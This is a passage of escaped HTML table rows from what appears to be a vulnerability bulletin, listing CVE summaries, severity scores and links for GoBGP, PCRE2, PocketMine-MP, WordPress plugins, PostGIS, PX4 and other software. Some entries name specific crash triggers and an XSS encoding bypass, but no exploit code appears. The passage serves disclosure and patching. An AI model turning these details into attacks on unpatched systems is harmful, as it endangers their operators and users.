&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;openremote--openremote&lt;/td&gt;
&lt;td&gt;OpenRemote is an open-source internet-of-things platform. Prior to version 1.24.1, the predicted datapoint write endpoint allows users with only `read:assets` privileges to write predicted datapoints. Version 1.24.1 fixes the issue.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-49439&quot; target=&quot;_blank&quot;&gt;CVE-2026-49439&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenStack--Ironic&lt;/td&gt;
&lt;td&gt;OpenStack Ironic through 38.0.0 may send a username and password to an unexpected remote host when Image Service is configured for HTTP(S) Basic Authentication.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90461&quot; target=&quot;_blank&quot;&gt;CVE-2026-90461&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;openstatusHQ--openstatus&lt;/td&gt;
&lt;td&gt;A vulnerability has been found in openstatusHQ openstatus up to f04c827112f30a11d571ebdad3892826034d6265. Affected by this vulnerability is an unknown functionality of the file apps/status-page/src/lib/proxy/resolve-custom-domain-rewrite.ts. The manipulation leads to server-side request forgery. The attack may be initiated remotely. This product uses a rolling release model to deliver continuous updates. As a result, specific version information for affected or updated releases is not available. The identifier of the patch is 86f370c9c20074c3c3fdec53a359874b8e670fd4. It is suggested to install a patch to address this issue. This issue got fixed with a silent patch.&lt;/td&gt;
&lt;td&gt;2026-09-12&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90486&quot; target=&quot;_blank&quot;&gt;CVE-2026-90486&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;osrg--gobgp&lt;/td&gt;
&lt;td&gt;GoBGP is an open source Border Gateway Protocol (BGP) implementation in the Go Programming Language. Versions prior to 4.6.0 contain a BGP OPEN capability parsing issue where several concrete capability decoders may parse data from the full remaining capability buffer instead of the slice bounded by the declared capability length, `CapLen`. A malformed BGP OPEN message can cause bytes from a following capability to be interpreted as part of the current capability. The most security-relevant case is the 4-octet AS capability, where a capability with `CapLen == 0` may cause the parser to read bytes from the following capability as the 4-octet AS value. This parsed value may later affect peer AS validation during BGP session establishment. Version 4.6.0 patches the issue.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;5.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-49837&quot; target=&quot;_blank&quot;&gt;CVE-2026-49837&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;osrg--gobgp&lt;/td&gt;
&lt;td&gt;GoBGP is an open source Border Gateway Protocol (BGP) implementation in the Go Programming Language. Prior to version 4.7.0, GoBGP accepts a zero-length AS_PATH during UPDATE decoding and later panics while validating that attribute for a confederation eBGP peer. The vulnerable path is in the BGP UPDATE validator: a malformed UPDATE that should be rejected as a malformed AS_PATH instead reaches an unchecked `p.Value[0]` access, allowing a configured confederation eBGP peer to trigger a denial of service. Version 4.7.0 patches the issue.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;5.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-49838&quot; target=&quot;_blank&quot;&gt;CVE-2026-49838&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Payment Gateway PayPay for WooCommerce--Payment Gateway PayPay for WooCommerce&lt;/td&gt;
&lt;td&gt;The Payment Gateway PayPay for WooCommerce WordPress plugin from 0.5 to 0.9.3 does not verify the authenticity of the payment notifications it receives before acting on them, allowing unauthenticated attackers who know the store&#039;s merchant identifier to mark arbitrary orders as paid, or to cancel or fail them.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;5.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82215&quot; target=&quot;_blank&quot;&gt;CVE-2026-82215&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;PCRE--PCRE2&lt;/td&gt;
&lt;td&gt;PCRE2 before 10.48, on 32-bit platforms, has a pcre2_compile_32 integer overflow and resultant out-of-bounds write.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89158&quot; target=&quot;_blank&quot;&gt;CVE-2026-89158&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;PCRE--PCRE2&lt;/td&gt;
&lt;td&gt;PCRE2 before 10.48, on 32-bit platforms, has a pcre2_pattern_convert out-of-bounds write when an attacker can provide a large pattern.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;5.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89157&quot; target=&quot;_blank&quot;&gt;CVE-2026-89157&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Persian Elementor--Persian Elementor&lt;/td&gt;
&lt;td&gt;The Persian Elementor WordPress plugin from 2.7.10 before 2.8.2 does not verify that the payment authority returned to its ZarinPal payment callback belongs to the transaction being completed, allowing unauthenticated attackers to complete a pending order using a valid payment authority obtained from a different transaction.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86809&quot; target=&quot;_blank&quot;&gt;CVE-2026-86809&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;PHPGurukul--Bank Locker Management System&lt;/td&gt;
&lt;td&gt;A security flaw has been discovered in PHPGurukul Bank Locker Management System 1.0. This impacts an unknown function of the file sidebar.php. The manipulation of the argument UserType results in improper access controls. The attack may be launched remotely. The exploit has been released to the public and may be used for attacks.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90518&quot; target=&quot;_blank&quot;&gt;CVE-2026-90518&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;PHPGurukul--Bank Locker Management System&lt;/td&gt;
&lt;td&gt;A weakness has been identified in PHPGurukul Bank Locker Management System 1.0. Affected is an unknown function of the file /blms/banker/add-locker-form.php. This manipulation of the argument addressproof causes unrestricted upload. Remote exploitation of the attack is possible. The exploit has been made available to the public and could be used for attacks.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90519&quot; target=&quot;_blank&quot;&gt;CVE-2026-90519&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;PHPGurukul--Bank Locker Management System&lt;/td&gt;
&lt;td&gt;A vulnerability was identified in PHPGurukul Bank Locker Management System 1.0. This affects an unknown function of the file /blms/view-assign-locker.php. The manipulation of the argument ltid leads to authorization bypass. The attack may be initiated remotely. The exploit is publicly available and might be used.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90517&quot; target=&quot;_blank&quot;&gt;CVE-2026-90517&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;pmmp--PocketMine-MP&lt;/td&gt;
&lt;td&gt;PocketMine-MP versions before 4.4.2 fail to properly validate item IDs received from clients in itemstack NBT data. Attackers can send crafted item IDs outside the valid range to trigger an uncaught exception that crashes the server.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2022-51010&quot; target=&quot;_blank&quot;&gt;CVE-2022-51010&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;pmmp--PocketMine-MP&lt;/td&gt;
&lt;td&gt;PocketMine-MP versions before 4.2.9 fail to properly validate NBT data types during deserialization of inventory transaction packets from clients. Attackers can send crafted inventory transactions with malformed NBT tags to trigger server crashes and cause denial of service.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2022-51012&quot; target=&quot;_blank&quot;&gt;CVE-2022-51012&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;pmmp--PocketMine-MP&lt;/td&gt;
&lt;td&gt;PocketMine-MP versions before 4.2.3 fail to validate damage metadata values in tool and armor item NBT data received from clients. Attackers can send negative or out-of-range damage values in itemstack NBT to trigger unhandled exceptions in the Durable class, causing server crashes.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2022-51013&quot; target=&quot;_blank&quot;&gt;CVE-2022-51013&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;pmmp--PocketMine-MP&lt;/td&gt;
&lt;td&gt;PocketMine-MP before 4.0.7 contains an unhandled exception vulnerability in the ModalFormResponsePacket handler when processing malformed JSON from clients. Attackers can send specially crafted form response packets with invalid JSON to trigger an uncaught InvalidArgumentException, causing server crashes.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2022-51014&quot; target=&quot;_blank&quot;&gt;CVE-2022-51014&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;pmmp--PocketMine-MP&lt;/td&gt;
&lt;td&gt;PocketMine-MP before 4.0.6 does not validate facing values in PlayerActionPacket (for START_BREAK and CRACK_BREAK actions) or in UseItemTransactionData (typically within InventoryTransactionPacket). A remote authenticated attacker can send crafted packets with invalid facing values (e.g., negative or out-of-range) to crash the server, resulting in a denial of service.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2022-51015&quot; target=&quot;_blank&quot;&gt;CVE-2022-51015&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;pmmp--PocketMine-MP&lt;/td&gt;
&lt;td&gt;PocketMine-MP 3.x (before 3.27.0) does not implement Minecraft Bedrock protocol encryption, so the server cannot verify that a connecting client possesses the private key corresponding to its login token. An attacker who captures a valid login from another player&#039;s session (for example by tricking the player into connecting to an attacker-controlled server) can replay that login to impersonate the victim and pass XBOX Live authentication until the JWT token expires (typically 2-3 days). This affects servers directly reachable over the internet that are not behind a proxy with encryption enabled. Fixed in 4.0.0 and backported to 3.27.0.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2022-51016&quot; target=&quot;_blank&quot;&gt;CVE-2022-51016&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;pmmp--PocketMine-MP&lt;/td&gt;
&lt;td&gt;PocketMine-MP before 3.26.5 and 4.0.x before 4.0.5 does not limit book page text length, page count, or author/title length. A player who obtains a writable book can create oversized NBT (&#039;book bombs&#039;), causing excess bandwidth consumption and server crashes (exceeding the 1 MB chunk size limit when saving region-based worlds in PM3, or exceeding the 32 KiB TAG_String limit in PM4).&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2022-51018&quot; target=&quot;_blank&quot;&gt;CVE-2022-51018&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;pmmp--PocketMine-MP&lt;/td&gt;
&lt;td&gt;PocketMine-MP versions &amp;gt;= 4.20.0 before 4.22.3 (and before 5.2.1 in the 5.x branch) fail to validate NBT tag types in BlockActorDataPacket. A player can crash the server by sending a packet containing sign NBT data with an incorrect tag type, triggering an unhandled UnexpectedTagTypeException that terminates the server process.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2023-54392&quot; target=&quot;_blank&quot;&gt;CVE-2023-54392&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;pmmp--PocketMine-MP&lt;/td&gt;
&lt;td&gt;PocketMine-MP versions before 4.8.1 fail to validate dye color IDs in banner NBT data during deserialization. Attackers can provide invalid color values in inventory transactions or via commands to trigger undefined offset errors and crash the server.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2023-54396&quot; target=&quot;_blank&quot;&gt;CVE-2023-54396&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;pmmp--PocketMine-MP&lt;/td&gt;
&lt;td&gt;PocketMine-MP versions before 5.11.2 contain a denial of service vulnerability in BookEditPacket handling that crashes the server when an invalid inventory slot value is provided. Attackers can send a crafted BookEditPacket with an inventory slot greater than 35 to trigger an unhandled exception and crash the server.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2024-58380&quot; target=&quot;_blank&quot;&gt;CVE-2024-58380&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;pmmp--PocketMine-MP&lt;/td&gt;
&lt;td&gt;PocketMine-MP before 5.32.1 fails to validate uniqueness of pack UUIDs in ResourcePackClientResponsePacket STATUS_SEND_PACKS handling, allowing authenticated clients to trigger duplicate pack transmissions. Attackers can send multiple copies of valid pack UUIDs in a single packet to exhaust server memory and cause denial of service.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-71417&quot; target=&quot;_blank&quot;&gt;CVE-2025-71417&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;pmmp--PocketMine-MP&lt;/td&gt;
&lt;td&gt;PocketMine-MP versions before 5.39.2 fail to limit JSON payload size in ModalFormResponsePacket handling, allowing authenticated players to cause denial of service. Attackers can send modal form response packets with massive JSON arrays to exhaust server memory and CPU resources, rendering the server unresponsive.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86204&quot; target=&quot;_blank&quot;&gt;CVE-2026-86204&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;pmmp--PocketMine-MP&lt;/td&gt;
&lt;td&gt;PocketMine-MP versions before 5.25.2 fail to limit the explode() function in packet parsing, allowing malicious clients to waste server resources. Attackers can send crafted packets with excessive delimiters to consume CPU and memory through sign editing, JWT parsing, and command parsing endpoints.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-71418&quot; target=&quot;_blank&quot;&gt;CVE-2025-71418&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;pmmp--PocketMine-MP&lt;/td&gt;
&lt;td&gt;PocketMine-MP versions before 5.42.1 contain a denial of service vulnerability in the LoginPacket handler that allows remote attackers to flood warning messages by injecting numerous junk properties into the clientData JWT. Attackers can craft malicious login packets with excessive unknown properties to waste server CPU time and degrade performance.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86200&quot; target=&quot;_blank&quot;&gt;CVE-2026-86200&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;pmmp--PocketMine-MP&lt;/td&gt;
&lt;td&gt;PocketMine-MP before 4.2.10 fails to validate the total length of incoming chat message blobs before splitting them by newline characters, allowing attackers to send large messages containing many newlines. Malicious clients can send megabyte-sized chat packets and bombard the server with thousands of such messages, causing server lockups lasting seconds or minutes.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2022-51011&quot; target=&quot;_blank&quot;&gt;CVE-2022-51011&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;pmmp--PocketMine-MP&lt;/td&gt;
&lt;td&gt;PocketMine-MP before 4.18.0-ALPHA2 fails to rate-limit mismatch type InventoryTransactionPacket requests, allowing attackers to trigger excessive inventory synchronization. Attackers can send numerous mismatch transactions to force the server to transmit large amounts of serialized inventory data, consuming significant bandwidth without authentication.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2023-54394&quot; target=&quot;_blank&quot;&gt;CVE-2023-54394&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;pmmp--PocketMine-MP&lt;/td&gt;
&lt;td&gt;PocketMine-MP versions before 4.12.5 contain a denial-of-service vulnerability in ModalFormResponsePacket processing that allows attackers to cause server resource exhaustion by sending large JSON payloads. Attackers can send numerous oversized modal form response packets to consume CPU time and prevent the server from processing legitimate connections.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2023-54395&quot; target=&quot;_blank&quot;&gt;CVE-2023-54395&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;pmmp--PocketMine-MP&lt;/td&gt;
&lt;td&gt;PocketMine-MP versions before 5.44.2 fail to properly validate multiple ResourcePackClientResponsePacket packets with STATUS_COMPLETED status during resource pack handling. Malicious clients can send batches of these packets to repeatedly trigger pre-spawn progression, creating duplicate Player objects and amplifying memory consumption and network traffic.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;4.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86198&quot; target=&quot;_blank&quot;&gt;CVE-2026-86198&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;pmmp--PocketMine-MP&lt;/td&gt;
&lt;td&gt;PocketMine-MP versions before 5.39.2 contain a network amplification vulnerability in ActorEventPacket handling that allows clients to trigger consuming animations for all visible players. Attackers can send crafted ActorEventPacket messages to spam animation events to other clients and waste server CPU and memory resources.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86202&quot; target=&quot;_blank&quot;&gt;CVE-2026-86202&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;PostGIS--address_standardizer&lt;/td&gt;
&lt;td&gt;PostGIS address_standardizer through 3.7.0 fails to validate the Weight parameter from caller-supplied rules tables before using it as an array index. Attackers can craft malicious rule rows with out-of-range Weight values to trigger out-of-bounds reads in the load_value array, causing the PostgreSQL backend process to crash and terminate all cluster sessions.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90775&quot; target=&quot;_blank&quot;&gt;CVE-2026-90775&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;premio--Floating Chat Widget: Contact Chat Icons, Telegram Chat, Line Messenger, WeChat, Email, SMS, Call Button Chaty&lt;/td&gt;
&lt;td&gt;The Floating Chat Widget: Contact Chat Icons, Telegram Chat, Line Messenger, WeChat, Email, SMS, Call Button - Chaty plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the &#039;s&#039; parameter in all versions up to, and including, 3.5.9 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. WordPress&#039;s server-side HTML encoding of the &#039;s&#039; search parameter in the &amp;amp;lt;title&amp;amp;gt; element is bypassed because the browser DOM API decodes HTML entities when jQuery&#039;s .text() method reads document.title, returning literal special characters that are then embedded unescaped into the constructed HTML attribute value.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-18964&quot; target=&quot;_blank&quot;&gt;CVE-2026-18964&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;projectworlds--Online Examination System&lt;/td&gt;
&lt;td&gt;A vulnerability was determined in projectworlds Online Examination System 1.0. The affected element is an unknown function of the file feedback.php of the component Feedback Form. Executing a manipulation of the argument Name/Subject can lead to cross site scripting. The attack may be launched remotely. The exploit has been publicly disclosed and may be utilized.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86238&quot; target=&quot;_blank&quot;&gt;CVE-2026-86238&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;projeto-siga--siga&lt;/td&gt;
&lt;td&gt;A security vulnerability has been detected in projeto-siga siga up to 11.0.2.10/11.0.2.13/11.1.1. This affects the function ExAutenticacaoController.autenticar of the file sigaex/src/main/java/br/gov/jfrj/siga/vraptor/ExAutenticacaoController.java of the component Authentication Flow. Such manipulation of the argument cod/jwt leads to missing authorization. The attack may be launched remotely. The exploit has been disclosed publicly and may be used. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86274&quot; target=&quot;_blank&quot;&gt;CVE-2026-86274&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;proma-ai--Proma&lt;/td&gt;
&lt;td&gt;A security vulnerability has been detected in proma-ai Proma up to 0.19.37. Affected is the function resolveTargetPath of the file apps/electron/src/main/lib/file-preview-service.ts of the component File Preview Service. Such manipulation of the argument file_path leads to path traversal. Local access is required to approach this attack. The exploit has been disclosed publicly and may be used. Upgrading to version 0.19.52 is able to address this issue. The name of the patch is b7bf78ab74b1552c92fc98c7db9a8a8d92c631df. It is suggested to upgrade the affected component. The PoC&#039;s candidateBasePaths parameter name does not match the current IPC API (0.19.52 uses FileAccessOptions with internal getPreviewCandidateBasePaths()). The reporter likely targeted 0.16.3 where the IPC handler accepted raw string[] base paths. The core vulnerability - basename-collision fallback - is independent of the parameter name and is confirmed in source.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;4.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88790&quot; target=&quot;_blank&quot;&gt;CVE-2026-88790&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;PX4--PX4-Autopilot&lt;/td&gt;
&lt;td&gt;PX4 Autopilot through 1.17.0 contains a stack buffer over-read vulnerability in the netman system command that fails to validate interface name length. Attackers can supply interface names of 74 bytes or more via the -i option to read beyond buffer boundaries, leaking stack memory to console output or writing it into persistent network configuration files.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86714&quot; target=&quot;_blank&quot;&gt;CVE-2026-86714&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Quads Ads Manager for Google AdSense--Quads Ads Manager for Google AdSense&lt;/td&gt;
&lt;td&gt;The Quads Ads Manager for Google AdSense WordPress plugin before 3.0.5 does not verify payment completion with the configured payment gateway before marking an ad-selling order as paid, allowing users who can place an order to obtain a paid ad placement without payment.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89050&quot; target=&quot;_blank&quot;&gt;CVE-2026-89050&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;quequnlong--shiyi-blog&lt;/td&gt;
&lt;td&gt;A vulnerability was detected in quequnlong shiyi-blog up to 1.2.1. Affected is an unknown function of the file blog-admin/src/views/message/message/index.vue of the component Add Message API. The manipulation of the argument body.content results in cross site scripting. The attack can be executed remotely. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90527&quot; target=&quot;_blank&quot;&gt;CVE-2026-90527&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Ragic--Enterprise Cloud Database&lt;/td&gt;
&lt;td&gt;The Enterprise Cloud Database developed by Ragic has an Arbitrary File Read vulnerability. Privileged remote attackers can exploit Relative Path Traversal to download arbitrary system files.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;4.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87747&quot; target=&quot;_blank&quot;&gt;CVE-2026-87747&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;rclone--rclone&lt;/td&gt;
